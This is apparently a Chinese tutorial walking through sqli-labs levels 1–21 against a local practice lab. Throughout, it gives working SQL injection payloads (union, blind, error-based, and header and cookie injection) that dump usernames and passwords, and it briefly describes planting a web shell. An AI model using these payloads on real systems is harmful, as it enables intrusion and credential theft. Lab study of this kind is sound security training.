目录
前言
此靶场就是让我们掌握sql注入的基本方法,通关秘籍来了,轻轻松松搞定!
值得一提的是:less1-4都是使用的get传参的方式,在尝试根据报错信息判断注入类型,闭合之后写sql语句
Less-1
GET-Error based-Single quotes-String(基于错误的 GET 单引号字符型注入)
1、判断注入类型(通过判断类型才能去根据漏洞写sql语句)
先注入正常的参数,查看网页回显内容,发现是正常的信息。
?id=1
查看是否存在注入点,加入单引号闭合,显示错误,说明有
?id=1’
加一个注释,把后边注释掉,看是什么注入,如果显示正确,代表是闭合语句了,是字符型注入。
?id=1’--+
2、获取数据库信息
判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效,这里需要一个不断尝试的过程。
?id=1' ORDER BY 3--+ 显示正确
尝试4,显示错误,所以,就是3列有效
接下来判断哪些列是我们能用的,首先令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列 和 第 3 列是我们可用的。
?id=99' UNION SELECT 1,2,3--+
接下来爆数据库名称,还用union语句,让第二列作为我么们的显示位,database() 函数可以回显当前是同的数据库,我们将它进行查询。
?id=99' UNION SELECT 1,2,3--+
爆表名,在 information_schema.table 进行查询,使用 group_concat() 函数合并查询结果。
?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
爆 users 表的字段,在 information_schema.columns 爆出来
?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
爆出 users 表中的信息,这个表有用户名和密码这种敏感信息
?id=99' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
至此,Less-1通关啦!
Less-2
GET-Error based-Intiger based (基于错误的 GET 整型注入)
1、判断注入类型
先注入正常参数,网页回显正常的信息
?id=1
尝试注入单引号闭合,网页回显 MySQL 报错,说明存在注入漏洞
?id=1'
加个注释,将后端的 SQL 语句后面的内容注释后,网页仍然不能回显正确的信息。即我们注入的单引号没有起到闭合的作用。得出结论:这是一个数字型注入。
数字型注入和字符型注入的区别在于我们不需要用单引号去闭合,其他操作基本相同
?id=1'--+
2、获取数据库信息
判断表有几列,使用 ORDER BY 子句进行排序,看对几列有效
?id=1 ORDER BY 3--+ 有效
?id=1 ORDER BY 4--+ 报错,说明3列有用
判断哪些列是我们能用的,令 id 参数的查询不到结果,然后是同 UNION 进行组合查询。网页回显了数字 2 和 3,说明第二列和第三列是我们可以用的
?id=99 UNION SELECT 1,2,3--+
爆数据库名
?id=99 union select 1,database(),3--+
爆表名:
?id=99 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
爆users表:
?id=99 union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
爆 users 表中的信息:
?id=99 UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
恭喜,第二关过啦!
Less-3
GET-Error based-Single quotes with twist string (基于错误的 GET 单引号变形字符型注入)
1、判断注入类型
先输入正常的参数,网页回显正常的信息
?id=1
?id=1’
这里根据显示,需要加一个括号闭合。
?id=1’)--+
这此闭合成功。
2、获取数据库信息
下面与前两关一样的步骤,就不再展示图片结果。
?id=1’) order by 3--+ 回显正确
?id=1’) order by 4--+ 回显错误
查看回显有用的列
?id=99’) union select 1,2,3 --+
爆数据库名:?id=99’) UNION SELECT 1,database(),3 --+
爆数据库表名:?id=99’) UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
爆 users 表的字段:?id=99’) union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
爆出 users 表中的信息:?id=99’) UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
恭喜,第三关过啦!
Less-4
GET-Error based-Double Quotes-String(基于错误的 GET 双引号字符型注入)
1、判断注入类型
先输入正常的参数,网页回显正常的信息 ?id=1
尝试输入单引号,网页回显正确的信息(没有发生 MySQL 语句报错)
?id=1'
尝试引入双引号闭合,语法错误。
?id=1”
加入括号
?id=1”)--+ 成功找到闭合
以下操作与上边一样
2、获取数据库信息
?id=1") order by 3--+ 回显正确
?id=1") order by 4--+ 回显错误
查看回显有用的列
?id=99") union select 1,2,3 --+
爆数据库名:?id=99”) UNION SELECT 1,database(),3 --+
爆数据库表名:?id=99”) UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
爆 users 表的字段:?id=99”) union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
爆出 users 表中的信息:?id=99”) UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
恭喜,第四关过啦!
Less-5
GET-Double Injection-Single Quotes-String(双注入 GET 单引号字符型注入)
1、判断注入类型
先输入正确的参数,页面返回“You are in ... ”,但是没有其他信息
?id=1
输入?id=1’ --+,闭合成功
此类型为字符型注入,但是不回显数据,所以只能去猜,用布尔注入。
输入一个不存在的参数?id=9999,不显示内容
2、获取数据库信息
判断表有几列,使用order by 语句进行排序。
?id=1' ORDER BY 3--+ 回显
?id=1' ORDER BY 4--+ 不会显
说明只有3列
由于网页不回显内容,所以只能猜数据库名称,首先要知道数据库的长度方便猜。
采用二分法
?id=1' AND LENGTH((SELECT database()))>10--+,不显示
?id=1' AND LENGTH((SELECT database()))>5--+ 显示
?id=1' AND LENGTH((SELECT database()))>6--+ 显示
?id=1' AND LENGTH((SELECT database()))>7--+ 显示
?id=1' AND LENGTH((SELECT database()))>8--+ 不显示
?id=1' AND LENGTH((SELECT database()))=8--+ 显示
所以数据库长度为8
下面获取数据库名,这里使用left() 函数,left(string, num) 函数返回字符串 string 最左边的 num 个字符串。
我们首先使用 left() 函数判断数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a
?id=1' AND LEFT((SELECT database()), 1)='a' --+
有两种方法,就是一个个试,但是很费时间。
另一种就是使用抓包工具Burp Suite 拦截抓取。
将抓取到的界面,发送到Intruder 模块
选择字符 a 的部分为 payload 有效载荷
添加有效载荷选项,大小写字母、数字和下划线
发起攻击,查看响应结果。选择长度短的就是结果。
以此方法,最终得出数据库名字为“scurity”
?id=1' AND LEFT((SELECT database()), 8)='security' --+
继续使用此方法爆破表名,字段名和其他信息。
恭喜,第五关过啦!
Less-6
GET-Double Injection-Double Quotes-String(双注入 GET 双引号字符型注入)
1、判断注入类型
首先注入正确的参数,页面返回“You are in ...”,但是没有其他信息
?id=1
在测试一个很大查不到的参数,看页面显示情况,发现不显示,故使用bool注入
?id=10000
判断是否有 SQL 漏洞,引入单引号进行闭合,网页返回“You are in ...”
?id=1'
注入双引号闭合,网页返回错误,说明网页存在 SQL 注入,并使用双引号字符型注入
?id=1"
判断有几列是可用的
?id=1" ORDER BY 3--+ 页面出现“You are in ...”
?id=1" ORDER BY 4--+ 页面没有出现“You are in ...”,说明一共有 3 列
2、获取数据库信息
获取数据库名的长度,使用length() 函数结合回显信息判断数据库长度。
根据一个个尝试,?id=9999" OR LENGTH((SELECT database()))=8--+
最后8的时候回显正确,故数据库长度为8
获取数据库名,与上一个一样,使用Brup抓包爆破。
恭喜,第六关过啦!
Less-7
通过 SQL 注入,写入一句话木马文件
1、开启文件读取权限
MySQL 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。使用这条命令可以查看在数据库里
show variables like '%secure%';
修改 MySQL 下的 my.ini 配置文件来启用权限,需要把下面这个字符串写入文件中
secure_file_priv="/"
保存之后,重启phpstudy
检查是否成功
2、测试闭合方式
注入单引号和单引号加括号,网页回显 SQL 报错
?id=1'
?id=1')
注入单引号加上 2 个括号闭合,网页回显“You are in.... Use outfile......”,说明这是一个单引号和 2 个括号闭合的字符型注入
?id=1'))--+
3、写入文件
需要先知道网页所在的文件路径,从该题中无法得到,我们去Less-1题获取文件路径,这叫联合注入。利用同一web中的多个注入点。
4、连接到终端查看
此时需要用到蚁剑连接,url 为我们的 text.php 文件路径
密码为:attack
右键添加数据,D:/phpstudy_pro/WWW/sqli-labs-master/sqli-labs-master/Less-7/test.php
恭喜,第七关过啦!
Less-8
GET-Blind-Boolian Based-Single Quotes(布尔型单引号 GET 盲注)
1、判断注入类型
先注入正确的参数,网页返回“You are in ...”,但是没有其他信息
?id=1
查看是否有注入点,输入一个不存在的id,不显示内容。
说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息
?id=9999
判断是否有 SQL 注入漏洞,注入个单引号进行闭合,网页无任何返回
?id=1'
此时还是注入单引号,但是后面注释掉,网页返回“You are in ...”。
这说明网页存在 SQL 注入漏洞,并且是用单引号字符型注入。同时因为 SQL 语句发生错误,因此此处是 bool 盲注漏洞
?id=1'--+
2、获取数据库信息
和 Less-5 不同在于 Less-8 查询发生错误时不会报错,不过基本的操作与 Less-5 相似。
首先判断有几列,使用 ORDER BY 子句进行排序,看一下对几列有效,返回“You are in ...”说明表至少有 3 行
?id=1' ORDER BY 3--+ 有回显
?id=1' ORDER BY 4--+ 无回显
得出数据库名的长度,网页只会返回“You are in ...”和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度
?id=1' AND LENGTH((SELECT database()))>5--+
?id=1' AND LENGTH((SELECT database()))=8--+
使用 left() 函数判断数据库名的第一位是否是 a,注入之后无回显,则不是,有回显则是。
?id=1' AND LEFT((SELECT database()), 1)='a' --+
之后都是与前边类似,请参照。
恭喜,第八关过啦!
Less-9
GET-Blind-Time based-Single Quotes(基于时间的 GET 单引号盲注)
通过 sleep() 函数注入,观察页面响应时间,从而判断注入的 SQL 语句是否正确
1、判断注入类型
首先注入正确的参数,网页返回“You are in ...”,但是没有其他信息
?id=1
接下来注入个查不到的参数,网页还是返回“You are in ...”
?id=9999
注入个单引号进行闭合,网页还是返回“You are in ...”
?id=1'
再尝试下面三种方式:网页仍然是“You are in ...”
?id=1'--+
?id=1"
?id=1"--+
可以知道,这个是不回显的盲注。
故可以去Burp拦截工具,调试。
使用 Burp 工具开启拦截,并注入,发送都重放器,发送并观察时间
?id=1 and sleep(10)--+
因为存在转义字符,所以可以在页面查看延长时间。下载一个插件hackbar插件。
页面右键检查找到插件。输入http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1%27%20and%20sleep(10)--+,页面会延迟显示,俗称转圈圈。
明显的基于时间盲注的字符型 SQL 注入漏洞,我们需要使用 sleep() 函数制造时间差来进行注入。
剩下操作需要用到的语句请参照前边,只不过不看页面回显情况,而是看转圈时间。
恭喜,第九关过啦!
2、获取数据库信息
注入流程与 Less-5 类似,MySQL 的 IF 语句允许根据表达式的某个条件或结果来执行一组 SQL 语句,语法如下,当表达式 expr 为真时返回 value1 的值,否则返回 value2
IF (expr,value1,value2)
此处因为无法回显任何东西,因此 ORDER BY 子句不能使用。我们使用 IF 语句结合 LENGTH() 函数对数据库名长度进行判断,如果猜测正确则令响应时间长一些。猜测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10。
?id=1' AND IF(LENGTH(database())<10,sleep(10),1)--+
通过二分法测试,最终确定数据库长度为 8
?id=1' AND IF(LENGTH(database())=8,sleep(10),1)--+
使用穷举法进行测试,得到数据库名的第一个字符为 "s"
?id=1' AND IF(LEFT((SELECT database()), 1)='s',sleep(10),1)--+
最终得到数据库名字为“security”
接下来使用类似的方法,爆出表明、字段名和其他信息。
恭喜,第九关过啦!
Less-10
GET-Blind-Time based-double quotes(基于时间的双引号盲注)
1、判断注入类型
首先注入正确的参数,网页返回“You are in ...”,但是没有其他信息
?id=1
再依次注入一下参数,网页还是返回“You are in ...”,说明此时网页不会回显任何有价值的信息
?id=9999
?id=1'
?id=1'--+
?id=1"
?id=1"--+
我们使用 Brup 的重发器模块,注入一下 2 种参数,观察响应时间没有异常变化
?id=1 and sleep(1)--+
?id=1' and sleep(1)--+
使用双引号闭合时,明显发现响应时间增加,因此这是基于 时间盲注 的字符型 SQL 注入漏洞
?id=1" and sleep(1)--+
2、获取数据库信息
Less-10 和 Less-9 差不多,只是 Less-10 使用的是双引号进行闭合
?id=1" AND IF(LENGTH(database())<10,sleep(10),1)--+,响应时间超过 1s,数据库名长度 < 10
使用二分法测试,得出数据库长度为 8
?id=1" AND IF(LENGTH(database())=8,sleep(10),1)--+
获取数据库名时,使用 left() 函数进行穷举法
使用穷举法进行测试,得到数据库名的第一个字符为 "s"
?id=1” AND IF(LEFT((SELECT database()), 1)='s',sleep(10),1)--+
最终得到数据库名字为“security”
此后和前边一样。
恭喜,第十关过啦!
Less-11
POST-Error Based-Single quotes-String(基于错误的 POST 型单引号字符型注入)
1、判断注入类型
我们先尝试下网页的正确用法,输入一个正确的用户名和密码试试,网页显示登录成功
在“username” 中直接注入单引号,网页返回报错信息,说明存在 SQL 注入
注入万能注入语句,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入,网页提示我们注入成功,由于此时使用的时单引号闭合,因此这里是字符型注入。
a' OR 1 = 1#
使用 Burp 工具抓包,看到网页是通过 POST 方式提交的,以及网页的表单提交参数
2、获取数据库信息
判断表有几列,使用 ORDER BY 子句进行排序看下对有几列有效。对第二列返回的结果排序,网页返回正常
Uname:a' OR 1 = 1 ORDER BY 2#
输入a' OR 1 = 1 ORDER BY 3#,回显不知道3列,所以有2列。
爆破数据库名,首先注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方
uname=a
passwd=a' UNION SELECT database(),1#
爆表名,使用联合查询在“information_schema.tables”中查询表名,表明来自“security”数据库
uname=a
passwd=a' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=’security’#
爆字段名,使用联合查询在“information_schema.colums”中查询表名,字段名来自“security”数据库中的“users”表.
uname=a
passwd=a' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='users'#
接下来爆出 users 表中的用户名和密码,构造出 payload 如下
uname=a
passwd=a' UNION SELECT 1,group_concat(concat_ws(':',username,password)) FROM security.users#
恭喜,第十一关过啦!
Less-12
POST-Error Based-Double quotes-String-with twist(基于错误的双引号 POST 型字符型变形的注入)
1、判断注入类型
Username 输入框,随便写点东西并是同单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入。网页提示登录失败,并且没有赶回报错信息,说明不是用单引号闭合
a' OR 1 = 1#
注入以下的内容,都显示登录失败,并且没有 SQL 语句回显
a') OR 1 = 1# a')) OR 1 = 1#
使用双引号进行闭合时,发现 MySQL 语句返回报错信息。说明网页通过双引号进行闭合,但是此时语法不对
a" OR 1 = 1#
添加一个括号,使用双引号闭合,此时网页提示我们登录成功。
综上所述,网页存在字符型注入漏洞,并且使用双引号和括号进行闭合
a") OR 1 = 1#
使用 Burp 攻击拦击,并发送到重发器。
2、获取数据库信息
Less-12 仅对字符的闭关方式不同与 Less-11,注入方式完全相同
-
判断表有几列
uname=a' OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit
uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit
-
爆数据库名
uname=a&passwd=a' UNION SELECT database(),1#&submit=Submit
-
爆表明
uname=a&passwd=a") UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'#&submit=Submit
-
爆字段名
uname=a&passwd=a") UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users' AND table_schema = 'security'#&submit=Submit
获取目标信息
uname=a&passwd=a") UNION SELECT 1,group_concat(concat_ws(":",username,password)) FROM security.users#&submit=Submit
恭喜,第十二关过啦!
Less-13
POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)
1、判断数据类型
写一个用户名并使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入。网页提示登录失败,并返回语法错误的提示信息。
admin' OR 1 = 1#
添加一个括号,单引号闭合,此时网页提示我们登录成功。因此网页存在字符型注入漏洞,并且使用单引号和括号进行闭合,注意到此网页并没有返回任何信息,我们需要使用 Bool 盲注进行注入。
admin') OR 1 = 1#
2、获取数据库信息
判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。
uname=a') OR 1 = 1 ORDER BY 2#,网页返回正常
uname=a' OR 1 = 1 ORDER BY 3#,SQL 语句报错
说明是 2 列
使用 length() 函数判断数据库名字长度
uname=a') OR LENGTH((SELECT database())) > 5#
passwd=a
使用二分法测试,最终得出数据库名字长度为 8
uname=a') OR LENGTH((SELECT database())) = 8#
passwd=a
获取数据库名,使用 left(string, num) 函数返回字符串 String 最左边的 num 个字符。首先使用判断数据库名的第一位是否是字符 a。注入之后返回登录失败,说明数据库名字第一位不是‘a’
uname=a') OR LEFT((SELECT database()),1) = 'a'#
passwd=a
后边就与前边一样了,请往上翻看。
恭喜,第十三关过啦!
Less-14
POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)
1、判断数据类型
用户名随便写点东西然后使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入。
网页提示登录失败,也没有返回语法错误的提示信息
a' OR 1 = 1#
注入以下内容,统统都显示登录失败且无回显
a') OR 1 = 1#
a')) OR 1 = 1#
使用双引号闭合,此时网页提示我们登录成功。因此网页存在双引号进行闭合的字符型注入漏洞,此时网页也没有返回任何信息,我们需要使用 bool 盲注进行注入。
admin" OR 1 = 1#
我们使用 Burp 抓包测试
2、获取数据库信息
判断表有几列:
uname=a" OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit
,页面返回正常
uname=a" OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit
,网页返回 SQL 语法报错
所以,数据库有 2 列
使用 length()函数结合回显信息得出数据库名字长度为 8
uname=a" OR LENGTH((SELECT database())) = 8#&passwd=&submit=Submit
使用 substr() 截取数据库名字的每个字符,判断其 ASCLL 值来判断是否正确
uname=a" OR ASCII(SUBSTR((SELECT database()),1,1))>100#&passwd=&submit=Submit
最后得出数据库的名字为“security”
继续使用相同的方法继续爆出表明、字段名和其他信息
恭喜,第十四关过啦!
Less-15
POST-Blind-Boolian/time Based-Single quotes(基于 bool 型/时间延迟单引号 POST 型盲注)
1、判断注入类型
用户名随便写点东西,使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容。
网页提示登录失败,并且没有返回任何信息
' OR 1 = 1#
尝试使用括号制造 sql 语句报错信息,但是网页仍然没有回显。说明此处只有通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都可以
') OR 1 = 1#
2、获取数据库信息
使用时间盲注。
测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10。
a' or IF(LENGTH(database())<10,sleep(10),1)#
通过二分法测试,最终确定数据库长度为 8
a' or IF(LENGTH(database())=8,sleep(10),1)#
使用穷举法进行测试,得到数据库名的第一个字符为 "s"
a' or IF(LEFT((SELECT database()), 1)='s',sleep(10),1)#
最终得到数据库名字为“security”
恭喜,第十五关过啦!
Less-16
POST-Blind-Boolian/Time Based-Double quotes (基于 bool 型 / 时间延迟的双引号 POST 型盲注)
1、判断注入类型
用户名输入框,单引号闭合,OR 运算符构造恒真条件,使用“#”注释后面的 SQL 语句
网页提示登录失败,未返回任何信息
' OR 1 = 1#
注入以下的内容,页面都是提示登录失败
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
注入双引号和括号,页面提示登录成功,此处只能通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都可以
") OR 1 = 1#
使用 Burp 抓包测试
2、获取数据库信息
我们使用布尔盲注
判断表有几列
uname=a") OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit
,登录成功,无 SQL 报错
uname=a") OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit
,登录失败,无 SQL 报错
得出数据库名字的长度
uname=a") OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit
获取数据库名
uname=a") OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit
恭喜,第十六关过啦!
Less-17
本关卡有两个 SQL 语句,其中一个进行了强效的过滤,我们需要发现第二个注入点。同时本关卡可以使用 报错注入 进行攻击
1、判断注入类型
先按照网页的功能走一遍,是更改密码的页面,输入用户名之后用新密码覆盖旧密码。
切换到less-11,发现修改密码成功。
判断注入类型,使用一系列的闭合条件,网页都显示失败
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
抓包得知网页需要利用 Post 方法起脚的参数格式如下
uname=&passwd=&submit=Submit
接下来对新密码字段进行闭合测试,使用单引号闭合仍然失败
uname=a&passwd=a'#&submit=Submit
使用以下集中注入仍然全部失败:
uname=a&passwd=a')#&submit=Submit
uname=a&passwd=a'))#&submit=Submituname=a&passwd=a"#&submit=Submit
uname=a&passwd=a")#&submit=Submituname=a&passwd=a"))#&submit=Submit
我们猜测可能是因为用户“a”不存在的原因,我们输入一个正确的用户“admin”
uname=admin&passwd=a' or 1=1#&submit=Submit
网页回显成功,并且报了一个 SQL 语句错误,说明 passwd 使用单引号进行闭合。同时我们可以推测这个关卡有两次查询,第一次查询 uname,判断用户是否存在。第二次查询是根据 uname 来修改 passwd,并且这个查询存在注入点
2、获取数据库信息
我们将使用 updatexml() 报错注入,该函数用于改变 XML 文档中符合条件的节点的值。函数原型为:
UPDATEXML (XML_document, XPath_string, new_value);
参数 | 说明 |
XML_document | String,XML 文档对象的名称 |
XPath_string | Xpath 格式的字符串 |
new_value | String,用于替换查找到的符合条件的数据 |
其中参数 XPath_string 需要是“/xxx/xxx/...”的格式,进行查询时将会按照这个参数进行操作。注意:如果 XPath_string 是一个错误的路径,但是该路径符合参数规范,就不会报错。反之,参数不符合规范,则会触发报错,我们就是利用这个,通过 updatexml() 函数的报错回显我们需要的信息。
为了更好的理解 updatexml() 报错注入,我们利用 updatexml() 函数获取下当前使用的 MySQL版本
uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit
爆表名,XPath_string 参数可以使用一个SELECT 查询结果,使用 group_concat() 函数聚合
uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#&submit=Submit
爆字段名
uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#&submit=Submit
使用报错注入回显用户名和密码,发现网页回显“You can't specify target table 'users' for update in FROM clause”
uname=admin&passwd=' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)#&submit=Submit
这里我们无法直接从 users 表拿数据。
思路就是利用一个查询从另一个查询中取出数据,以此绕过表的限制
uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit
Less-18
POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)
1、判断注入类型
输入正确的用户名和密码,观察到网页回显了 IP Address 和 User Agent。用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
当我们登录成功时,网页是回显的User Agent,猜测 User Agent 头可能存在注入。我们使用Brup抓包,注入各种参数试试,都登录失败
推断 uname 和 passwd 字段都进行了强效过滤,我们注入正确的 uname 和 passwd 之后再次注入。此时发现当在 User Agent 注入单引号闭合时,网页返回报错信息
User-Agent: '
在登录成功之后会执行另一个 SQL 语句,该语句会因为 User Agent 头而存在字符型注入的漏洞。
2、获取数据库信息
由于我们不知道第二个SQL语句具体长啥样子,因此我们要先测试如何正确闭合该SQL语句。
使用单引号闭合后,使用“#”注释掉后面的语句,注入失败
User-Agent: '#
注入2个连续的单引号,发现闭合成功,由此可见2个单引号分别闭合了两侧的单引号
User-Agent: ''
在注入的两个单引号之间可以插入其他 SQL 语句,我们这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 SQL 语句时,相当于把它分割成了两部分,插入 updatexml() 报错时要用 OR 进行连接。
User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '
接下来就和17差不多了。
爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '
爆字段
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '
使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据
User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
Less-19
POST-Header Injection-Referer field-Error based (基于头部的 Referer POST 报错注入)
1、判断注入类型
注入正确的用户名和密码,观察到网页回显了 IP Address 和 Referer。引用来源 Referer 是一个 HTTP 头的一个字段,用来告诉服务器该网页是从哪个页面链接过来的。
抓包之后放入重放器。查看referer的闭合方式,发现是两个单引号。
所以在此输入漏洞。
2、获取数据库信息
爆数据库
' OR updatexml(1,concat("!",database()),2) OR '
爆表名
' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '
爆字段
' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '
使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据
' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
Less-20
POST-Cookie injections-Uagent field-Error based (基于错误的 cookie 头部 POST 注入)
1、判断注入类型
先输入正确的用户名和密码进行登录,观察到网页回显了大量信息。再次刷新,Less-20的页面没有变化,这应该是 cookie 起到的作用。
cookie 是网站为了辨别用户身份,进行 Session 跟踪而存储在用户本地浏览器环境上的数据。想要回到登录界面,我们需要清除 Cookie
判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
根据 Cookie 的作用和原理,网页在用户登录后,会利用浏览器记录用户的登录状态,在用户刷新、重新登录或进入其他相关页面时,不需要再次登录。
我们猜测,Cookie是一个注入点
Cookie: uname=admin',网页回显语法错误,说明 Cookie 存在字符型的 SQL 注入漏洞
在单引号之后用“#”把后面的内容注释掉,网页回显正常,说明该语句使用单引号闭合
Cookie: uname=admin'#
2、获取数据路信息
首先我们判断有几列我们可用,因为网页回显了 Your Login name、Your Password、You ID一共3个字段,猜错有3列可用,使用联合查询注入3个常熟验证猜想,得到 3 列的回显位置
Cookie: uname=' UNION SELECT 1,2,3#
爆数据库名字
Cookie: uname=' UNION SELECT database(),2,3#
爆表名
Cookie: uname=' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema = 'security'#
爆字段名
Cookie: uname=' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'#
爆表内容:
Cookie: uname=' UNION SELECT group_concat(concat(":",username,password)),2,3 FROM security.users#
Less-21
Cookie Injection-Error Based-complex-string (基于错误的复杂的字符型 Cookie 注入)
判断注入类型
输入正确的用户名和密码登录,网页回显大量信息,刷新网页无变化。
判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
抓包测试,发现Cookie中的uname的值是乱码
最后的%3D是“=”
“YWRtaW4=”解码后为“admin”
由此我们得知Cookie会对uname的值进行base64编码,这就是与Less-20关卡的区别,我们只需要将上一题目的注入内容都进行base64编码之后再进行注入,即可完成题目
获取数据信息
将下列编码好的语句注入cookie,获取有效列的信息
JykgVU5JT04gU0VMRUNUIDEsMiwzIw==
爆数据库名称
JykgVU5JT04gU0VMRUNUIGRhdGFiYXNlKCksMiwzIw==
爆表名
JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScj
爆users表的内容
JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSksMiwzIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyBBTkQgdGFibGVfbmFtZSA9ICd1c2Vycycj
爆users表信息
JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj